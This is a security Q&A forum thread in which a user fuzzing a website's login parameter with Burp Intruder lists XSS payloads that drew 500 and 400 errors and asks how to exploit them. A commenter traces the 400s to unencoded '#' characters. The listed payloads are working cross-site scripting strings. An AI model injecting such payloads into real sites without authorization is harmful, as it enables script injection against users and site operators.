I've been trying to trigger xss in a website with the following url


While trying different payloads with Burp Intruder, I noticed that various payloads returned HTTP 500 server error and 400 bad request.

HTTP/1.1 400 Bad Request
connection: close
content-length: 0
date: Wed, 10 Jun 2020 03:49:51 GMT
server: ****
x-connection-hash: *******************
x-response-time: 98

and for 500 it is:

  HTTP/1.1 500 Internal Server Error
connection: close
content-length: 0
date: Wed, 10 Jun 2020 03:51:44 GMT
server: ****
x-connection-hash: *************************
x-response-time: 98

Could this be a vulnerability? How can we exploit it?

EDIT: The parameter I'm bruteforcing is 'username_or_email' and the email id comes up autofilled everytime we go to the URL. The following payloads triggers error 500

- <object data="data:text/html;base64,%(base64)s">

 - <embed src="data:text/html;base64,%(base64)s">

 - <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>

 - <% foo><x foo="%><script>javascript:alert(1)</script>">

 - <script src="\\%(jscript)s"></script>

 - <script src="/\%(jscript)s"></script>

The following triggered error 400

 - X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >

 - 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>

 - <div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X

 - <div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>

 - <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
  • We need much more information to answer this question. Do you see any pattern that distinguishes payloads triggering the different status codes? – Demento Jun 10 at 6:00
  • @Demento, Hey please check the updated version of the question to see some of the payloads that triggered those errors. Thanks – Ananda Sai A Jun 10 at 7:17
  • All the status 400 payloads have a # in them. Are you sure you are encoding those characters correctly? Otherwise they might be treated as URL anchors and mess up your payload. – Demento Jun 10 at 7:44
  • @Demento Yes..that seems to be the problem with those. They're being used as URL anchors. Any thoughts on the error 500? – Ananda Sai A Jun 10 at 7:55
  • Error 500 just means something went wrong internally. This can have many different reasons and without further debugging the application, it's hard to pinpoint the issue. Status 500 is usually an indicator to dig deeper during a security assessment, but doesn't tell you anything specific about a potential underlying vulnerability by itself. – Demento Jun 10 at 9:00

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.